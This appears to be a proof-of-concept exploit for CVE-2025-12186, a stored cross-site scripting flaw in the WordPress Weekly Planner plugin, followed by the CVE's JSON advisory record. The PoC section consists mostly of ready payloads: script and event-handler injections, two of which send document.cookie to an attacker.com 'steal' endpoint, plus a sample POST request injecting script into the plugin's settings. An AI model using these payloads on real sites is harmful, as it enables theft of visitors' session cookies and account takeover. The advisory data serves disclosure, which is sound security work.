CVE-2025-12186

<!-- CVE-2025-12186 PoC - Stored XSS in WordPress Weekly Planner Plugin --> <!-- Requires admin-level privileges --> <!-- Method 1: Inject via plugin settings --> <script>alert(document.cookie)</script> <!-- Method 2: Using event handler --> <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> <!-- Method 3: Using SVG tag --> <svg/onload=fetch('https://attacker.com/steal?data='+btoa(document.cookie))> <!-- Example HTTP POST request to exploit --> <!-- POST /wp-admin/admin.php?page=weekly-planner-settings HTTP/1.1 --> <!-- Content-Type: application/x-www-form-urlencoded --> <!-- _wpnonce=XXX&weekly_planner_setting=<script>alert(document.domain)</script> -->

{"cve": {"id": "CVE-2025-12186", "sourceIdentifier": "[email protected]", "published": "2025-12-05T07:16:10.180", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Weekly Planner plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.org/plugins/weekly-planner/#description", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1cd2d269-5af2-40ab-b424-505c95c56688?source=cve", "source": "[email protected]"}]}}